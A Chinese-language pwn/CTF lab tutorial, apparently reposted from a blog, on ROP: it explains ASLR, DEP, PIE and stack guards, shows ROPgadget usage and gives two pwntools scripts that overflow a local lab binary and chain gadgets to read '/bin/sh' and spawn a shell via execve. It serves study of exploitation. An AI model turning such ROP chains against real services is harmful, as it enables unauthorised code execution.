Pwn_6 ROP

Posted 歇马

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pwn_6 ROP相关的知识,希望对你有一定的参考价值。

Protection

    • ASLR
    • DEP
    • PIE
    • StackGuard

 

ASLR

地址随机化

Address Space Layout Randomization,程序每次执行时,stack、heap、library的位置都不一样

$:ldd /bin/lib ldd命令 查看当前的binary用了哪些library

检查是否开启ASLR

 

DEP

data execution prevention数据执行保护,又称为NX

可写的不能执行,可执行的不可写

PIE

地址无关可执行文件

Stack Guard

编译器对stack overflow的一种保护机制,可以有效的防止缓冲区溢出攻击

 image


ROP(Return Oriented Programming)是一种利用现有的程序片段组合出想要功能的技巧

可以使用ROP解除DEP限制,然后执行shellcode

可以使用ROP绕过ASLR限制、StackGuard和PIE

 

Q:如何查看有哪些保护 gdb checksee.sh

ROP

Gadget:一小段以ret结尾的code       ROP Chain:串联在一起的Gadget,组合出需要的功能

使用ROP的关键

  • 查找gadget
  • 排列组合gadget

ROP类型

  • 控制寄存器做syscall   //给eax ebx ecx edx这些参数赋值
  • 使用原有程序里的function
  • 使用libc里的gadget或者function (绕过ASLR)

ROP

查找ROP

  • ROPgadget --binary ./shellcode
  • ROPgadget --binary shellcode ./shellcode
  • ROP

我们要找的代码是 ①pop eax ②2  把当前栈底的值给eax,即eax=2

 

运行它

IDA分析它 或者objdump –d –M intel ./file


image

ROPgadget –binary ./shellcode > shellcode.txt #将gadget输出到文本

查找pop eax ; ret ebx/ecx/edx…

read 函数 eax =3 ebx=0 ecx=一段可写的区域 edx=读取的大小

 

如何寻找可写的区域?

 

image./file &返回后台执行的id

然后cat /proc/id/maps

第一段是读-执行段

第二段是读-写段 获得080ee000   不要看下面的heap那些

from pwn import *


r = remote(\'127.0.0.1\',4000)

pop_eax_ret = 0x080b90f6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080595b3
pop_edx_ret = 0x0806e7da

buf = 0x080ee000 - 100
rop = [#堆栈情况
    
     pop_eax_ret,
     3,
     pop_ebx_ret,
     0,
     pop_ecx_ret,
     buf,
     pop_edx_ret,
     50,
     0xdeedbeef,
    
    
]

r.sendline(\'a\'*22 + flat(rop))

r.interactive()

image

然后找完eax,ebx,ecx,edx后 寻找int 0x80 ; ret

没有怎么办?

ROPgadge –binary rop –opcode cd80c3

image获得0x0806ef00

imageread函数读到80edf9c,双击这个地址即可看到输入的/bin/sh

然后写执行函数

eax=0x0b  ebx要执行的命令 放在buf里的/bin/sh ecx/edx赋值为0

如果不放int_0x80_ret,堆栈排列的再好也不会生效


总结

 

  1. ROPgadget –binary ./shellcode > shell.txt
  2. 在gadget查找有用的,如pop eax ; ret | pop ebx ; ret |int 0x80 ; ret (或者ROPgadge –binary rop –opcode cd80c3 )
  3. 查找可写入的缓冲区:方法是 ./rop & 查看进程id ,然后cat /proc/id号/maps 获得可写段 然后倒着-多少
  4. 最后在堆栈的排布上要写int_0x80_ret 否则程序无法执行
  5. pop edx; pop ecx;pop edx;入栈顺序为先写edx,再写入ecx,最后写入ebx

 

from pwn import *


r = remote(\'127.0.0.1\',4000)

pop_eax_ret = 0x080b90f6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080595b3
pop_edx_ret = 0x0806e7da
buf = 0x080ee000 - 100
int_0x80_ret = 0x0806ef00
rop = [
    
     pop_eax_ret,
     3,
     pop_ebx_ret,
     0,
     pop_ecx_ret,
     buf,
     pop_edx_ret,
     50,
     int_0x80_ret,
     pop_eax_ret,
     0xb,
     pop_eax_ret,
     0xb,
     pop_ebx_ret,
     buf,
     pop_ecx_ret,
     0,
     pop_edx_ret,
     0,
     int_0x80_ret
    
]

r.sendline(\'a\'*22 + flat(rop))

sleep(2)

r.sendline(\'/bin/sh\\x00\')

r.interactive()

以上是关于Pwn_6 ROP的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 6]rop&Return to plt实验

pwn----basic_ROP

[NTUSTISC pwn LAB 5]rop入门实验

Pwn之ROP系列练习

pwn----fancy_ROP

BUUCTF-pwn babyrop